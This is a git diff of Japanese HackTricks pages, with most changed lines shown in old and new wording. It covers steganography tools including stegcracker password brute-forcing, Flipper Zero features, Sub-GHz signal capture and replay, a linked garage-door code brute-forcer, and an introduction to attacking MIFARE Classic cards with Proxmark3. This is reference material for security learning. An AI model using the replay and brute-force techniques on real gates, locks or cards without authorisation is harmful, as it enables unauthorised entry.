[GraphicMagick](https://imagemagick.org/script/download.php)は画像ファイルの種類を特定し、潜在的な破損を特定するために使用されます。以下のコマンドを実行して画像を検査します:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
画像の修復を試みる際に、メタデータコメントを追加すると役立つかもしれません:
|
||||
修復を試みるために、損傷した画像にメタデータコメントを追加すると役立つかもしれません:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **データ隠蔽のためのSteghide**
|
||||
### **データの隠蔽にSteghideを使用**
|
||||
|
||||
Steghideは、`JPEG、BMP、WAV、およびAU`ファイルにデータを隠蔽することを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。
|
||||
|
||||
**コマンド:**
|
||||
|
||||
* `steghide info file`は、ファイルに隠されたデータが含まれているかどうかを明らかにします。
|
||||
* `steghide extract -sf file [--passphrase password]`は、隠されたデータを抽出し、パスワードはオプションです。
|
||||
* `steghide info file`はファイルに隠されたデータが含まれているかどうかを明らかにします。
|
||||
* `steghide extract -sf file [--passphrase password]`は隠されたデータを抽出し、パスワードはオプションです。
|
||||
|
||||
Webベースの抽出を行う場合は、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
|
||||
|
||||
**Stegcrackerを使用したブルートフォース攻撃:**
|
||||
|
||||
* Steghideでパスワードクラッキングを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を以下のように使用します:
|
||||
* Steghideでパスワードクラックを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を以下のように使用します:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **PNG および BMP ファイル用の zsteg**
|
||||
### **PNGおよびBMPファイル用のzsteg**
|
||||
|
||||
zsteg は、PNG および BMP ファイル内の隠されたデータを特定するのに特化しています。インストールは `gem install zsteg` を使用し、[GitHub でソースを入手](https://github.com/zed-0xff/zsteg) できます。
|
||||
zstegは、PNGおよびBMPファイル内の隠されたデータを特定することに特化しています。インストールは`gem install zsteg`を使用し、[GitHubでソースを入手](https://github.com/zed-0xff/zsteg)できます。
|
||||
|
||||
**コマンド:**
|
||||
|
||||
* `zsteg -a file` はファイルにすべての検出方法を適用します。
|
||||
* `zsteg -E file` はデータ抽出用のペイロードを指定します。
|
||||
* `zsteg -a file`はファイルにすべての検出方法を適用します。
|
||||
* `zsteg -E file`はデータ抽出用のペイロードを指定します。
|
||||
|
||||
### **StegoVeritas および Stegsolve**
|
||||
### **StegoVeritasとStegsolve**
|
||||
|
||||
**stegoVeritas** はメタデータをチェックし、画像変換を実行し、LSB ブルートフォースなどを適用します。すべてのオプションの完全なリストについては `stegoveritas.py -h` を使用し、すべてのチェックを実行するには `stegoveritas.py stego.jpg` を使用します。
|
||||
**stegoVeritas**はメタデータをチェックし、画像変換を実行し、LSBブルートフォースなどを適用します。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を使用して、オプションの完全なリストについては`stegoveritas.py -h`を使用します。
|
||||
|
||||
**Stegsolve** はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) で入手できます。
|
||||
**Stegsolve**はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手できます。
|
||||
|
||||
### **隠されたコンテンツの検出のための FFT**
|
||||
### **隠されたコンテンツの検出のためのFFT**
|
||||
|
||||
高速フーリエ変換(FFT)技術を使用すると、画像内の隠されたコンテンツを明らかにすることができます。有用なリソースは次のとおりです:
|
||||
高速フーリエ変換(FFT)技術を使用すると、画像内の隠されたコンテンツを明らかにすることができます。有用なリソースには以下があります:
|
||||
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [GitHub 上の FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
* [GitHubのFFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **オーディオおよび画像ファイル用の Stegpy**
|
||||
### **オーディオおよび画像ファイル用のStegpy**
|
||||
|
||||
Stegpy は、PNG、BMP、GIF、WebP、WAV などの形式をサポートし、画像およびオーディオファイルに情報を埋め込むことができます。[GitHub](https://github.com/dhsdshdhk/stegpy) で入手できます。
|
||||
Stegpyを使用すると、PNG、BMP、GIF、WebP、WAVなどの形式をサポートする画像およびオーディオファイルに情報を埋め込むことができます。[GitHub](https://github.com/dhsdshdhk/stegpy)で入手できます。
|
||||
|
||||
### **PNG ファイルの解析用の Pngcheck**
|
||||
### **PNGファイルの解析のためのPngcheck**
|
||||
|
||||
PNG ファイルを解析したり、その信頼性を検証するには、以下を使用します:
|
||||
PNGファイルを解析したり、その信頼性を検証するには、
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
|
@ -155,7 +155,7 @@ pngcheck stego.png
|
|||
|
||||
## **オーディオからデータを抽出する**
|
||||
|
||||
**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すためのユニークな方法を提供します。異なるツールが埋め込みや隠されたコンテンツの取り出しに使用されます。
|
||||
**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すためのユニークな方法を提供します。異なるツールが埋め込みや隠されたコンテンツの取得に使用されます。
|
||||
|
||||
### **Steghide (JPEG、BMP、WAV、AU)**
|
||||
|
||||
|
@ -167,7 +167,7 @@ Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すた
|
|||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpegは、オーディオファイルの整合性を評価し、詳細な情報を強調し、不一致を特定するために重要です。
|
||||
ffmpegは、オーディオファイルの整合性を評価するために重要であり、詳細な情報を強調し、不一致を特定するのに役立ちます。
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
|
@ -211,20 +211,20 @@ math.sqrt(2500) #50
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,31 +22,31 @@
|
|||
|
||||
[**Flipper Zero**](https://flipperzero.one/)を使用すると、次のことができます:
|
||||
|
||||
* **ラジオ周波数のリスニング/キャプチャ/リプレイ:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **NFCカードの読み取り/キャプチャ/エミュレート:** [**NFC**](fz-nfc.md)
|
||||
* **125kHzタグの読み取り/キャプチャ/エミュレート:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md)
|
||||
* **iButtonの読み取り/キャプチャ/エミュレート:** [**iButton**](../ibutton.md)
|
||||
* **Bad USBとして使用する**
|
||||
* **セキュリティキー(U2F)として使用する**
|
||||
* **Snakeをプレイする**
|
||||
* **ラジオ周波数のリスニング/キャプチャ/リプレイ:**[**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **NFCカードの読み取り/キャプチャ/エミュレート:**[**NFC**](fz-nfc.md)
|
||||
* **125kHzタグの読み取り/キャプチャ/エミュレート:**[**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **赤外線信号の読み取り/キャプチャ/送信:**[**Infrared**](fz-infrared.md)
|
||||
* **iButtonの読み取り/キャプチャ/エミュレート:**[**iButton**](../ibutton.md)
|
||||
* **Bad USBとして使用**
|
||||
* **セキュリティキー(U2F)として使用**
|
||||
* **Snakeをプレイ**
|
||||
|
||||
[**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)に他のFlipper Zeroリソースがあります
|
||||
[**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)に他のFlipper Zeroリソースがあります。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手します
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で私たちをフォローする[**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦でフォローする[**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,13 +24,13 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## イントロ <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zeroは、**300-928 MHzの範囲で無線周波数を受信および送信**できる内蔵モジュールを備えており、リモートコントロールを読み取り、保存し、エミュレートできます。これらのコントロールは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのやり取りに使用されます。Flipper Zeroは、セキュリティが危険にさらされているかどうかを学ぶのに役立ちます。
|
||||
Flipper Zeroは、**300-928 MHzの範囲で無線周波数を受信および送信**できる内蔵モジュールを備えており、リモートコントロールの読み取り、保存、エミュレートが可能です。これらのコントロールは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのやり取りに使用されます。Flipper Zeroは、セキュリティが危険にさらされているかどうかを学ぶのに役立ちます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sub-GHzハードウェア <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)に基づく内蔵サブ1 GHzモジュールと、無線アンテナ(最大範囲は50メートル)が搭載されています。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、779-928 MHzの周波数で動作するよう設計されています。
|
||||
Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)に基づいた内蔵サブ1 GHzモジュールと無線アンテナ(最大範囲は50メートル)が搭載されています。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、779-928 MHzの周波数で動作するよう設計されています。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -54,20 +54,20 @@ Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)
|
|||
### 読み取り
|
||||
|
||||
{% hint style="info" %}
|
||||
使用されている周波数に関する情報を見つける(また、使用されている周波数を見つける別の方法)
|
||||
使用されている周波数に関する情報を見つける(使用されている周波数を見つける別の方法もあります)
|
||||
{% endhint %}
|
||||
|
||||
**Read**オプションは、指定された変調で設定された周波数で**リスニング**を行います:デフォルトでは433.92 AMです。読み取り時に**何かが見つかると**、画面に情報が表示されます。この情報は、将来信号を複製するために使用できます。
|
||||
**Read**オプションは、デフォルトで433.92 AMで指定された周波数で**リスニング**を行います。読み取り時に**何かが見つかると**、情報が画面に表示されます。この情報は、将来信号を複製するために使用できます。
|
||||
|
||||
Readを使用している間に、**左ボタン**を押して**設定**することができます。\
|
||||
現時点では、**4つの変調**(AM270、AM650、FM328、FM476)があり、**いくつかの重要な周波数**が保存されています:
|
||||
Readを使用中に**左ボタン**を押して**設定**することができます。\
|
||||
現時点では、**4つの変調**(AM270、AM650、FM328、FM476)があり、**いくつかの関連する周波数**が保存されています:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
興味を持つ**任意の周波数を設定**できますが、リモコンで使用されている周波数がわからない場合は、**HoppingをONに設定**(デフォルトではOff)し、Flipperがそれをキャプチャして必要な周波数を設定する情報を提供するまでボタンを数回押します。
|
||||
興味のある**周波数を設定**できますが、リモコンで使用されている周波数がわからない場合は、**HoppingをONに設定**(デフォルトではOff)し、Flipperがそれをキャプチャして必要な周波数を提供するまでボタンを数回押します。
|
||||
|
||||
{% hint style="danger" %}
|
||||
周波数間の切り替えには時間がかかるため、切り替え時に送信される信号を見逃す可能性があります。信号をより良く受信するためには、周波数アナライザで決定された固定周波数を設定してください。
|
||||
周波数間の切り替えには時間がかかるため、切り替え時に送信される信号を見逃す可能性があります。信号をよりよく受信するためには、周波数アナライザで決定された固定周波数を設定してください。
|
||||
{% endhint %}
|
||||
|
||||
### **Raw読み取り**
|
||||
|
@ -76,15 +76,15 @@ Readを使用している間に、**左ボタン**を押して**設定**する
|
|||
設定された周波数で信号を盗み(および再生)ます
|
||||
{% endhint %}
|
||||
|
||||
**Raw読み取り**オプションは、リスニング周波数で送信された信号を記録します。これを使用して信号を盗み、繰り返すことができます。
|
||||
**Raw読み取り**オプションは、リスニング周波数で送信された信号を記録します。これを使用して信号を**盗み**、**繰り返す**ことができます。
|
||||
|
||||
デフォルトでは**Raw読み取りも433.92でAM650**ですが、Readオプションで興味を持つ信号が**異なる周波数/変調にあることがわかった場合は、それも変更**できます(Raw読み取りオプション内で左を押します)。
|
||||
デフォルトでは**Raw読み取りも433.92でAM650**ですが、Readオプションで興味を持った信号が**異なる周波数/変調にあることがわかった場合は、それも変更**できます(Raw読み取りオプション内で左を押します)。
|
||||
|
||||
### ブルートフォース
|
||||
|
||||
例えばガレージドアで使用されているプロトコルがわかっている場合、**Flipper Zeroですべてのコードを生成して送信**することができます。これは一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### 手動で追加
|
||||
### 手動追加
|
||||
|
||||
{% hint style="info" %}
|
||||
設定されたプロトコルリストから信号を追加します
|
||||
|
@ -128,7 +128,7 @@ Readを使用している間に、**左ボタン**を押して**設定**する
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -140,8 +140,8 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,15 +22,15 @@
|
|||
|
||||
## Proxmark3を使用したRFIDシステムへの攻撃
|
||||
|
||||
最初に必要なのは、[**Proxmark3**](https://proxmark.com)と[**ソフトウェアのインストールとその依存関係**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)です。
|
||||
最初に必要なのは、[**Proxmark3**](https://proxmark.com)を持っていることと、[**ソフトウェアとその依存関係をインストール**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**する**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)ことです。
|
||||
|
||||
### MIFARE Classic 1KBの攻撃
|
||||
|
||||
**16のセクター**があり、それぞれに**4つのブロック**があり、各ブロックには**16B**が含まれています。 UIDはセクター0ブロック0にあります(変更できません)。\
|
||||
各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは**各セクターのブロック3に保存**されています(セクタートレーラー)。 セクタートレーラーには、各ブロックの**読み取りおよび書き込み**権限を与える**アクセスビット**も格納されています。\
|
||||
**16のセクター**があり、それぞれに**4つのブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあります(変更できません)。\
|
||||
各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは各セクターの**ブロック3に保存**されています(セクタートレーラー)。セクタートレーラーには、各ブロックの**読み取りおよび書き込み**権限を与える**アクセスビット**も保存されています。\
|
||||
2つのキーは、最初のキーを知っている場合に読み取り権限を与え、2番目のキーを知っている場合に書き込み権限を与えるために役立ちます(例えば)。
|
||||
|
||||
複数の攻撃が実行できます
|
||||
複数の攻撃が実行できます。
|
||||
